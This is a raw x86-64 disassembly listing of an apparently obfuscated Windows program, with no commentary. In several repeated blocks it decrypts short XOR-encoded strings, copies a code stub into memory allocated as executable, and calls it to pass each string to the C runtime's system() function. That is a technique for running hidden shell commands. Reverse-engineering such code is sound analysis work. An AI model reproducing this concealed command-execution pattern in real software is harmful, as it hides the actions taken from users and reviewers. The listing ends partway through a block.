mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x8c8]
call fcn.140043690
mov edx, 0x10
lea rcx, [rbp + 0x80]
mov rsi, rax
call fcn.14003a520
lea rdx, [rbp + 0xa0]
mov rdi, rax
lea rcx, [rbp + 0xe6]
call fcn.140043230
mov r10, rax
cmp byte [rax + 0x37], r13b
je 0x140041a6a
mov r8d, r13d
cmp r14d, 2
jl 0x140041a3d
movdqa xmmword [rbp], xmm12
mov edx, r13d
mov r8d, dword [rbp]
mov rcx, rax
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x38
jl 0x140041950
jmp 0x140041a6a
mov r9, r10
mov eax, 0x4ec4ec4f
lea r9, [r9 + 1]
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x38
jl 0x140041a40
mov r8, rdi
lea rcx, [rbp + 0x40]
mov rdx, r10
call fcn.1400441e0
mov rcx, rax
call fcn.140043b60
lea rdx, [rsp + 0xaf8]
mov qword [rbp + 0x3e0], rax
lea rcx, [rbp + 0x20]
call fcn.1400399d0
mov rax, qword [0x1401ebb10]
lea rdi, [0x1400444b0]
mov ecx, r13d
test rax, rax
je 0x140041adb
mov rdx, r13
cmp rax, rdi
je 0x140041aca
inc ecx
mov edx, ecx
mov rax, qword [r12 + rcx*8 + 0x1ebb10]
test rax, rax
jne 0x140041ab2
jmp 0x140041adb
mov r8, qword [r12 + rdx*8 + 0x1eb7e0]
test r8, r8
jne 0x140041bc0
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140041b04
mov r8, r13
jmp 0x140041b9f
mov rax, rdi
mov rcx, r8
mov edx, 3
nop
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140041b10
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1401eb7d0]
mov qword [r12 + rax*8 + 0x1ebb10], rdi
mov qword [r12 + rax*8 + 0x1eb7e0], r8
inc rax
mov qword [0x1401eb7d0], rax
mov rcx, qword [rsi]
lea rdx, [rbp + 0x3e0]
call r8
lea rcx, [rbp + 0x20]
call fcn.140039a00
lea rcx, [rbp + 0x40]
call fcn.140043b70
lea rcx, [rbp + 0x80]
call fcn.140043b70
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x6f8]
call fcn.140043690
mov edx, 0x10
lea rcx, [rbp + 0x80]
mov rsi, rax
call fcn.14003a520
lea rdx, [rbp + 0xa0]
mov rdi, rax
lea rcx, [rbp + 0xe7]
call fcn.140043270
mov r10, rax
cmp byte [rax + 0x37], r13b
je 0x140041d7a
mov r8d, r13d
cmp r14d, 2
jl 0x140041d4d
movdqa xmmword [rbp], xmm12
mov edx, r13d
mov r8d, dword [rbp]
mov rcx, rax
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x38
jl 0x140041c60
jmp 0x140041d7a
mov r9, r10
mov eax, 0x4ec4ec4f
lea r9, [r9 + 1]
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x38
jl 0x140041d50
mov r8, rdi
lea rcx, [rbp + 0x40]
mov rdx, r10
call fcn.1400441e0
mov rcx, rax
call fcn.140043b60
lea rdx, [rsp + 0xaf8]
mov qword [rbp + 0x3e8], rax
lea rcx, [rbp + 0x20]
call fcn.1400399d0
mov rax, qword [0x1401ebb10]
lea rdi, [0x1400444b0]
mov ecx, r13d
test rax, rax
je 0x140041deb
mov rdx, r13
cmp rax, rdi
je 0x140041dda
inc ecx
mov edx, ecx
mov rax, qword [r12 + rcx*8 + 0x1ebb10]
test rax, rax
jne 0x140041dc2
jmp 0x140041deb
mov r8, qword [r12 + rdx*8 + 0x1eb7e0]
test r8, r8
jne 0x140041ed0
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140041e14
mov r8, r13
jmp 0x140041eaf
mov rax, rdi
mov rcx, r8
mov edx, 3
nop
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140041e20
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1401eb7d0]
mov qword [r12 + rax*8 + 0x1ebb10], rdi
mov qword [r12 + rax*8 + 0x1eb7e0], r8
inc rax
mov qword [0x1401eb7d0], rax
mov rcx, qword [rsi]
lea rdx, [rbp + 0x3e8]
call r8
lea rcx, [rbp + 0x20]
call fcn.140039a00
lea rcx, [rbp + 0x40]
call fcn.140043b70
lea rcx, [rbp + 0x80]
call fcn.140043b70
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x8a8]
call fcn.140043690
mov edx, 0x10
lea rcx, [rbp + 0x80]
mov rsi, rax
call fcn.14003a520
lea rdx, [rbp + 0xa0]
mov rdi, rax
lea rcx, [rbp + 0xe8]
call fcn.1400432b0
mov r10, rax
cmp byte [rax + 0x38], r13b
je 0x140042091
mov r8d, r13d
cmp r14d, 2
jl 0x140042053
movdqa xmmword [rbp], xmm12
mov rcx, rax
mov edx, dword [rbp]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x38
jl 0x140041f60
cmp r8d, 0x39
jge 0x140042091
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x39
jl 0x140042060
mov r8, rdi
lea rcx, [rbp + 0x40]
mov rdx, r10
call fcn.1400441e0
mov rcx, rax
call fcn.140043b60
lea rdx, [rsp + 0xaf8]
mov qword [rbp + 0x3f0], rax
lea rcx, [rbp + 0x20]
call fcn.1400399d0
mov rax, qword [0x1401ebb10]
lea rdi, [0x1400444b0]
mov ecx, r13d
test rax, rax
je 0x140042109
mov rdx, r13
nop dword [rax]
cmp rax, rdi
je 0x1400420f8
inc ecx
mov edx, ecx
mov rax, qword [r12 + rcx*8 + 0x1ebb10]
test rax, rax
jne 0x1400420e0
jmp 0x140042109
mov r8, qword [r12 + rdx*8 + 0x1eb7e0]
test r8, r8
jne 0x1400421f0
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140042132
mov r8, r13
jmp 0x1400421cf
mov rax, rdi
mov rcx, r8
mov edx, 3
nop dword [rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140042140
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1401eb7d0]
mov qword [r12 + rax*8 + 0x1ebb10], rdi
mov qword [r12 + rax*8 + 0x1eb7e0], r8
inc rax
mov qword [0x1401eb7d0], rax
mov rcx, qword [rsi]
lea rdx, [rbp + 0x3f0]
call r8
lea rcx, [rbp + 0x20]
call fcn.140039a00
lea rcx, [rbp + 0x40]
call fcn.140043b70
lea rcx, [rbp + 0x80]
call fcn.140043b70
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x8b0]
call fcn.140043690
mov edx, 0x10
lea rcx, [rbp + 0x80]
mov rsi, rax
call fcn.14003a520
lea rdx, [rbp + 0xa0]
mov rdi, rax
lea rcx, [rbp + 0xe9]
call fcn.1400432f0
mov r10, rax
cmp byte [rax + 0x38], r13b
je 0x1400423b1
mov r8d, r13d
cmp r14d, 2
jl 0x140042373
movdqa xmmword [rbp], xmm12
mov rcx, rax
mov edx, dword [rbp]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x38
jl 0x140042280
cmp r8d, 0x39
jge 0x1400423b1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x39
jl 0x140042380
mov r8, rdi
lea rcx, [rbp + 0x40]
mov rdx, r10
call fcn.1400441e0
mov rcx, rax
call fcn.140043b60
lea rdx, [rsp + 0xaf8]
mov qword [rbp + 0x3f8], rax
lea rcx, [rbp + 0x20]
call fcn.1400399d0
mov rax, qword [0x1401ebb10]
lea rdi, [0x1400444b0]
mov ecx, r13d
test rax, rax
je 0x140042429
mov rdx, r13
nop dword [rax]
cmp rax, rdi
je 0x140042418
inc ecx
mov edx, ecx
mov rax, qword [r12 + rcx*8 + 0x1ebb10]
test rax, rax
jne 0x140042400
jmp 0x140042429
mov r8, qword [r12 + rdx*8 + 0x1eb7e0]
test r8, r8
jne 0x140042510
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140042452
mov r8, r13
jmp 0x1400424ef
mov rax, rdi
mov rcx, r8
mov edx, 3
nop dword [rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140042460
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1401eb7d0]
mov qword [r12 + rax*8 + 0x1ebb10], rdi
mov qword [r12 + rax*8 + 0x1eb7e0], r8
inc rax
mov qword [0x1401eb7d0], rax
mov rcx, qword [rsi]
lea rdx, [rbp + 0x3f8]
call r8
lea rcx, [rbp + 0x20]
call fcn.140039a00
lea rcx, [rbp + 0x40]
call fcn.140043b70
lea rcx, [rbp + 0x80]
call fcn.140043b70
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x8b8]
call fcn.140043690
mov edx, 0x10
lea rcx, [rbp + 0x80]
mov rsi, rax
call fcn.14003a520
lea rdx, [rbp + 0xa0]
mov rdi, rax
lea rcx, [rbp + 0xea]
call fcn.140043330
mov r10, rax
cmp byte [rax + 0x38], r13b
je 0x1400426d1
mov r8d, r13d
cmp r14d, 2
jl 0x140042693
movdqa xmmword [rbp], xmm12
mov rcx, rax
mov edx, dword [rbp]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x38
jl 0x1400425a0
cmp r8d, 0x39
jge 0x1400426d1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x39
jl 0x1400426a0
mov r8, rdi
lea rcx, [rbp + 0x40]
mov rdx, r10
call fcn.1400441e0
mov rcx, rax
call fcn.140043b60
lea rdx, [rsp + 0xaf8]
mov qword [rbp + 0x400], rax
lea rcx, [rbp + 0x20]
call fcn.1400399d0
mov rax, qword [0x1401ebb10]
lea rdi, [0x1400444b0]
mov ecx, r13d
test rax, rax
je 0x140042749
mov rdx, r13
nop dword [rax]
cmp rax, rdi
je 0x140042738
inc ecx
mov edx, ecx
mov rax, qword [r12 + rcx*8 + 0x1ebb10]
test rax, rax
jne 0x140042720
jmp 0x140042749
mov r8, qword [r12 + rdx*8 + 0x1eb7e0]
test r8, r8
jne 0x140042830
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140042772
mov r8, r13
jmp 0x14004280f
mov rax, rdi
mov rcx, r8
mov edx, 3
nop dword [rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140042780
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1401eb7d0]
mov qword [r12 + rax*8 + 0x1ebb10], rdi
mov qword [r12 + rax*8 + 0x1eb7e0], r8
inc rax
mov qword [0x1401eb7d0], rax
mov rcx, qword [rsi]
lea rdx, [rbp + 0x400]
call r8
lea rcx, [rbp + 0x20]
call fcn.140039a00
lea rcx, [rbp + 0x40]
call fcn.140043b70
lea rcx, [rbp + 0x80]
call fcn.140043b70
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x8c0]
call fcn.140043690
mov edx, 0x10
lea rcx, [rbp + 0x80]
mov rsi, rax
call fcn.14003a520
lea rdx, [rbp + 0xa0]
mov rdi, rax
lea rcx, [rbp + 0xeb]
call fcn.140043370
mov r10, rax
cmp byte [rax + 0x38], r13b
je 0x1400429f1
mov r8d, r13d
cmp r14d, 2
jl 0x1400429b3
movdqa xmmword [rbp], xmm12
mov rcx, rax
mov edx, dword [rbp]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x38
jl 0x1400428c0
cmp r8d, 0x39
jge 0x1400429f1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x39
jl 0x1400429c0
mov r8, rdi
lea rcx, [rbp + 0x40]
mov rdx, r10
call fcn.1400441e0
mov rcx, rax
call fcn.140043b60
lea rdx, [rsp + 0xaf8]
mov qword [rbp + 0x408], rax
lea rcx, [rbp + 0x20]
call fcn.1400399d0
mov rax, qword [0x1401ebb10]
lea rdi, [0x1400444b0]
mov ecx, r13d
test rax, rax
je 0x140042a69
mov rdx, r13
nop dword [rax]
cmp rax, rdi
je 0x140042a58
inc ecx
mov edx, ecx
mov rax, qword [r12 + rcx*8 + 0x1ebb10]
test rax, rax
jne 0x140042a40
jmp 0x140042a69
mov r8, qword [r12 + rdx*8 + 0x1eb7e0]
test r8, r8
jne 0x140042b50
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140042a92
mov r8, r13
jmp 0x140042b2f
mov rax, rdi
mov rcx, r8
mov edx, 3
nop dword [rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
